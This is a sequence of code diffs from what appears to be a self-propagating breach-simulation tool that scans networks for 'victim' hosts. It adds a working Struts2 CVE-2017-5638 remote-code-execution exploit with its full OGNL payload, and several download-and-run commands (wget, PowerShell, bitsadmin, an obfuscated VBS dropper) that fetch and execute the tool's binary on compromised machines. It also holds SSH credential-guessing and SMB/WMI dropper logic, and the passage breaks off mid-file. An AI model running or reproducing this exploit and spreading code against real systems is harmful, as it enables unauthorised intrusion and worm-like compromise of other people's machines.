ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
exploited = True
self.report_login_attempt(True, user, curpass)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
continue
return exploited
def exploit_host(self): def exploit_host(self):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@ -46,29 +106,10 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host) LOG.info("SSH port is closed on %r, skipping", self.host)
return False return False
user_password_pairs = self._config.get_exploit_user_password_pairs() #Check for possible ssh exploits
exploited = self.exploit_with_ssh_keys(port, ssh)
exploited = False if not exploited:
for user, curpass in user_password_pairs: exploited = self.exploit_with_login_creds(port, ssh)
try:
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
self.report_login_attempt(True, user, curpass)
exploited = True
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
continue
if not exploited: if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...") LOG.debug("Exploiter SSHExploiter is giving up...")

View File

@ -0,0 +1,246 @@
"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib2
import httplib
import unicodedata
import re
import logging
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
DROPPER_ARG
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
def exploit_host(self):
dropper_path_linux = self._config.dropper_target_path_linux
dropper_path_win_32 = self._config.dropper_target_path_win_32
dropper_path_win_64 = self._config.dropper_target_path_win_64
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
if not ports:
LOG.info("All web ports are closed on %r, skipping", self.host)
return False
for port in ports:
if port[1]:
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
else:
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
# Get full URL
url = self.get_redirected(current_host)
LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']:
return self.exploit_linux(url, dropper_path_linux)
else:
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
def check_remote_file(self, host, path):
command = EXISTS % path
resp = self.exploit(host, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
def exploit_linux(self, url, dropper_path):
host_arch = Struts2Exploiter.check_exploit_linux(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist and self.check_remote_file(url, dropper_path):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
command = WGET_HTTP % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
def exploit_windows(self, url, dropper_paths):
"""
:param url: Where to send malicious request
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
:return: Bool. Successfully exploited or not
"""
host_arch = Struts2Exploiter.check_exploit_windows(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist:
for dropper_path in dropper_paths:
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Select the dir and name for monkey on the host
if "windows-32" in src_path:
dropper_path = dropper_paths[0]
else:
dropper_path = dropper_paths[1]
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# We need to double escape backslashes. Once for payload, twice for command
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
resp = self.exploit(url, command)
if 'powershell is not recognized' in resp:
self.exploit(url, backup_command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
@staticmethod
def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
if resp and ID_STRING in resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
if resp and ID_STRING in resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1)
return arch
else:
return False
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
except urllib2.URLError:
LOG.error("Can't reach struts2 server")
return False
@staticmethod
def exploit(url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:return: response
"""
payload = "%%{(#_='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?" \
"(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm))))." \
"(#cmd='%s')." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new java.lang.ProcessBuilder(#cmds))." \
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd
# Turns payload ascii just for consistency
if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead as e:
page = e.partial
return page
@staticmethod
def get_exploitable_ports(host, port_list, names):
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
return valid_ports

View File

@ -405,7 +405,7 @@ def get_interface_to_target(dst):
for d, m, gw, i, a in routes: for d, m, gw, i, a in routes:
aa = atol(a) aa = atol(a)
if aa == dst: if aa == dst:
pathes.append((0xffffffffL, ("lo", a, "0.0.0.0"))) pathes.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m): if (dst & m) == (d & m):
pathes.append((m, (i, a, gw))) pathes.append((m, (i, a, gw)))
if not pathes: if not pathes:

View File

@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass) self._config.ms08_067_remote_user_pass)
@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter):
for password in self._config.exploit_password_list: for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
"Administrator", "Administrator",
password) password)
if remote_full_path: if remote_full_path:
@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter):
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(self.host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path_win_32,
user, user,
password, password,
lm_hash, lm_hash,
@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter):
wmi_connection.close() wmi_connection.close()
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower(): elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)

View File

@ -91,7 +91,12 @@ def main():
if WormConfiguration.use_file_logging: if WormConfiguration.use_file_logging:
if os.path.exists(log_path): if os.path.exists(log_path):
os.remove(log_path) # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade
# from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem.
try:
os.remove(log_path)
except OSError:
pass
LOG_CONFIG['handlers']['file']['filename'] = log_path LOG_CONFIG['handlers']['file']['filename'] = log_path
LOG_CONFIG['root']['handlers'].append('file') LOG_CONFIG['root']['handlers'].append('file')
else: else:

View File

@ -4,6 +4,7 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y" MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r" DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
@ -14,3 +15,15 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
# Commands used to check for architecture and if machine is exploitable
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists
EXISTS = "ls %s"

View File

@ -29,7 +29,7 @@ class VictimHost(object):
return self.ip_addr.__cmp__(other.ip_addr) return self.ip_addr.__cmp__(other.ip_addr)
def __repr__(self): def __repr__(self):
return "<VictimHost %s>" % self.ip_addr return "VictimHost({0!r})".format(self.ip_addr)
def __str__(self): def __str__(self):
victim = "Victim Host %s: " % self.ip_addr victim = "Victim Host %s: " % self.ip_addr
@ -39,7 +39,7 @@ class VictimHost(object):
victim += "] Services - [" victim += "] Services - ["
for k, v in self.services.items(): for k, v in self.services.items():
victim += "%s-%s " % (k, v) victim += "%s-%s " % (k, v)
victim += ']' victim += '] '
victim += "target monkey: %s" % self.monkey_exe victim += "target monkey: %s" % self.monkey_exe
return victim return victim

View File

@ -4,7 +4,7 @@ block_cipher = None
a = Analysis(['main.py'], a = Analysis(['main.py'],
pathex=['.'], pathex=['.', '..'],
binaries=None, binaries=None,
datas=None, datas=None,
hiddenimports=['_cffi_backend'], hiddenimports=['_cffi_backend'],

View File

@ -12,8 +12,10 @@ from control import ControlClient
from model import DELAY_DELETE_CMD from model import DELAY_DELETE_CMD
from network.firewall import app as firewall from network.firewall import app as firewall
from network.network_scanner import NetworkScanner from network.network_scanner import NetworkScanner
from six.moves import xrange
from system_info import SystemInfoCollector from system_info import SystemInfoCollector
from system_singleton import SystemSingleton from system_singleton import SystemSingleton
from windows_upgrader import WindowsUpgrader
__author__ = 'itamar' __author__ = 'itamar'
@ -35,6 +37,8 @@ class InfectionMonkey(object):
self._fingerprint = None self._fingerprint = None
self._default_server = None self._default_server = None
self._depth = 0 self._depth = 0
self._opts = None
self._upgrading_to_64 = False
def initialize(self): def initialize(self):
LOG.info("Monkey is initializing...") LOG.info("Monkey is initializing...")
@ -46,14 +50,13 @@ class InfectionMonkey(object):
arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth') arg_parser.add_argument('-d', '--depth', type=int)
opts, self._args = arg_parser.parse_known_args(self._args) self._opts, self._args = arg_parser.parse_known_args(self._args)
self._parent = opts.parent self._parent = self._opts.parent
self._default_tunnel = opts.tunnel self._default_tunnel = self._opts.tunnel
self._default_server = opts.server self._default_server = self._opts.server
if opts.depth: if self._opts.depth:
WormConfiguration.depth = int(opts.depth)
WormConfiguration._depth_from_commandline = True WormConfiguration._depth_from_commandline = True
self._keep_running = True self._keep_running = True
self._network = NetworkScanner() self._network = NetworkScanner()
@ -69,15 +72,27 @@ class InfectionMonkey(object):
def start(self): def start(self):
LOG.info("Monkey is running...") LOG.info("Monkey is running...")
if firewall.is_enabled(): if not ControlClient.find_server(default_tunnel=self._default_tunnel):
firewall.add_firewall_rule() LOG.info("Monkey couldn't find server. Going down.")
ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) return
if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True
self._singleton.unlock()
LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
WindowsUpgrader.upgrade(self._opts)
return
ControlClient.wakeup(parent=self._parent)
ControlClient.load_control_config() ControlClient.load_control_config()
if not WormConfiguration.alive: if not WormConfiguration.alive:
LOG.info("Marked not alive from configuration") LOG.info("Marked not alive from configuration")
return return
if firewall.is_enabled():
firewall.add_firewall_rule()
monkey_tunnel = ControlClient.create_control_tunnel() monkey_tunnel = ControlClient.create_control_tunnel()
if monkey_tunnel: if monkey_tunnel:
monkey_tunnel.start() monkey_tunnel.start()
@ -216,23 +231,31 @@ class InfectionMonkey(object):
LOG.info("Monkey cleanup started") LOG.info("Monkey cleanup started")
self._keep_running = False self._keep_running = False
# Signal the server (before closing the tunnel) if self._upgrading_to_64:
ControlClient.send_telemetry("state", {'done': True}) InfectionMonkey.close_tunnel()
firewall.close()
else:
ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel)
InfectionMonkey.close_tunnel()
firewall.close()
if WormConfiguration.send_log_to_server:
self.send_log()
self._singleton.unlock()
# Close tunnel InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down")
@staticmethod
def close_tunnel():
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
if tunnel_address: if tunnel_address:
LOG.info("Quitting tunnel %s", tunnel_address) LOG.info("Quitting tunnel %s", tunnel_address)
tunnel.quit_tunnel(tunnel_address) tunnel.quit_tunnel(tunnel_address)
firewall.close() @staticmethod
def self_delete():
if WormConfiguration.send_log_to_server: if WormConfiguration.self_delete_in_cleanup \
self.send_log() and -1 == sys.executable.find('python'):
self._singleton.unlock()
if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
try: try:
if "win32" == sys.platform: if "win32" == sys.platform:
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
@ -247,8 +270,6 @@ class InfectionMonkey(object):
except Exception as exc: except Exception as exc:
LOG.error("Exception in self delete: %s", exc) LOG.error("Exception in self delete: %s", exc)
LOG.info("Monkey is shutting down")
def send_log(self): def send_log(self):
monkey_log_path = utils.get_monkey_log_path() monkey_log_path = utils.get_monkey_log_path()
if os.path.exists(monkey_log_path): if os.path.exists(monkey_log_path):

View File

@ -2,7 +2,7 @@
import os import os
import platform import platform
a = Analysis(['main.py'], a = Analysis(['main.py'],
pathex=['.'], pathex=['.', '..'],
hiddenimports=['_cffi_backend', 'queue'], hiddenimports=['_cffi_backend', 'queue'],
hookspath=None, hookspath=None,
runtime_hooks=None) runtime_hooks=None)

View File

@ -27,3 +27,4 @@ from elasticfinger import ElasticFinger
from mysqlfinger import MySQLFinger from mysqlfinger import MySQLFinger
from info import local_ips from info import local_ips
from info import get_free_tcp_port from info import get_free_tcp_port
from mssql_fingerprint import MSSQLFinger

View File

@ -8,6 +8,12 @@ import itertools
import netifaces import netifaces
from subprocess import check_output from subprocess import check_output
from random import randint from random import randint
from common.network.network_range import CidrRange
try:
long # Python 2
except NameError:
long = int # Python 3
def get_host_subnets(): def get_host_subnets():
@ -92,8 +98,8 @@ else:
ifaddr = socket.inet_ntoa(ifreq[20:24]) ifaddr = socket.inet_ntoa(ifreq[20:24])
else: else:
continue continue
routes.append((socket.htonl(long(dst, 16)) & 0xffffffffL, routes.append((socket.htonl(long(dst, 16)) & 0xffffffff,
socket.htonl(long(msk, 16)) & 0xffffffffL, socket.htonl(long(msk, 16)) & 0xffffffff,
socket.inet_ntoa(struct.pack("I", long(gw, 16))), socket.inet_ntoa(struct.pack("I", long(gw, 16))),
iff, ifaddr)) iff, ifaddr))
@ -129,7 +135,7 @@ def check_internet_access(services):
return False return False
def get_ips_from_interfaces(): def get_interfaces_ranges():
""" """
Returns a list of IPs accessible in the host in each network interface, in the subnet. Returns a list of IPs accessible in the host in each network interface, in the subnet.
Limits to a single class C if the network is larger Limits to a single class C if the network is larger
@ -138,15 +144,11 @@ def get_ips_from_interfaces():
res = [] res = []
ifs = get_host_subnets() ifs = get_host_subnets()
for net_interface in ifs: for net_interface in ifs:
address_str = unicode(net_interface['addr']) address_str = net_interface['addr']
netmask_str = unicode(net_interface['netmask']) netmask_str = net_interface['netmask']
host_address = ipaddress.ip_address(address_str)
ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str)) ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str))
# limit subnet scans to class C only # limit subnet scans to class C only
if ip_interface.network.num_addresses > 255: res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
ip_interface = ipaddress.ip_interface(u"%s/24" % address_str)
addrs = [str(addr) for addr in ip_interface.network.hosts() if addr != host_address]
res.extend(addrs)
return res return res

View File

@ -0,0 +1,74 @@
import logging
import socket
from model.host import VictimHost
from network import HostFinger
__author__ = 'Maor Rayzin'
LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger):
# Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096
TIMEOUT = 5
SERVICE_NAME = 'MSSQL'
def __init__(self):
self._config = __import__('config').WormConfiguration
def get_host_fingerprint(self, host):
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
:arg:
host (VictimHost): The MS-SSQL Server to query for information.
:returns:
Discovered server information written to the Host info struct.
True if success, False otherwise.
"""
assert isinstance(host, VictimHost)
# Create a UDP socket and sets a timeout
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(self.TIMEOUT)
server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT)
# The message is a CLNT_UCAST_EX packet to get all instances
# https://msdn.microsoft.com/en-us/library/cc219745.aspx
message = '\x03'
# Encode the message as a bytesarray
message = message.encode()
# send data and receive response
try:
LOG.info('Sending message to requested host: {0}, {1}'.format(host, message))
sock.sendto(message, server_address)
data, server = sock.recvfrom(self.BUFFER_SIZE)
except socket.timeout:
LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host))
sock.close()
return False
host.services[self.SERVICE_NAME] = {}
# Loop through the server data
instances_list = data[3:].decode().split(';;')
LOG.info('{0} MSSQL instances found'.format(len(instances_list)))
for instance in instances_list:
instance_info = instance.split(';')
if len(instance_info) > 1:
host.services[self.SERVICE_NAME][instance_info[1]] = {}
for i in range(1, len(instance_info), 2):
# Each instance's info is nested under its own name, if there are multiple instances
# each will appear under its own name
host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i]
# Close the socket
sock.close()
return True

View File

@ -2,8 +2,9 @@ import logging
import time import time
from config import WormConfiguration from config import WormConfiguration
from info import local_ips, get_ips_from_interfaces from info import local_ips, get_interfaces_ranges
from range import * from common.network.network_range import *
from model import VictimHost
from . import HostScanner from . import HostScanner
__author__ = 'itamar' __author__ = 'itamar'
@ -20,9 +21,8 @@ class NetworkScanner(object):
def initialize(self): def initialize(self):
""" """
Set up scanning based on configuration Set up scanning.
FixedRange -> Reads from range_fixed field in configuration based on configuration: scans local network and/or scans fixed list of IPs/subnets.
otherwise, takes a range from every IP address the current host has.
:return: :return:
""" """
# get local ip addresses # get local ip addresses
@ -33,13 +33,9 @@ class NetworkScanner(object):
LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses) LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses)
# for fixed range, only scan once. # for fixed range, only scan once.
if WormConfiguration.range_class is FixedRange: self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list]
self._ranges = [WormConfiguration.range_class(fixed_addresses=WormConfiguration.range_fixed)]
else:
self._ranges = [WormConfiguration.range_class(ip_address)
for ip_address in self._ip_addresses]
if WormConfiguration.local_network_scan: if WormConfiguration.local_network_scan:
self._ranges += [FixedRange([ip_address for ip_address in get_ips_from_interfaces()])] self._ranges += get_interfaces_ranges()
LOG.info("Base local networks to scan are: %r", self._ranges) LOG.info("Base local networks to scan are: %r", self._ranges)
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
@ -50,7 +46,8 @@ class NetworkScanner(object):
for net_range in self._ranges: for net_range in self._ranges:
LOG.debug("Scanning for potential victims in the network %r", net_range) LOG.debug("Scanning for potential victims in the network %r", net_range)
for victim in net_range: for ip_addr in net_range:
victim = VictimHost(ip_addr)
if stop_callback and stop_callback(): if stop_callback and stop_callback():
LOG.debug("Got stop signal") LOG.debug("Got stop signal")
break break

View File

@ -1,82 +0,0 @@
import random
import socket
import struct
from abc import ABCMeta, abstractmethod
from model.host import VictimHost
__author__ = 'itamar'
class NetworkRange(object):
__metaclass__ = ABCMeta
def __init__(self, base_address, shuffle=True):
self._base_address = base_address
self._shuffle = shuffle
self._config = __import__('config').WormConfiguration
@abstractmethod
def _get_range(self):
raise NotImplementedError()
def __iter__(self):
base_range = self._get_range()
if self._shuffle:
random.shuffle(base_range)
for x in base_range:
yield VictimHost(socket.inet_ntoa(struct.pack(">L", self._base_address + x)))
class ClassCRange(NetworkRange):
def __init__(self, base_address, shuffle=True):
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] & 0xFFFFFF00
super(ClassCRange, self).__init__(base_address, shuffle=shuffle)
def __repr__(self):
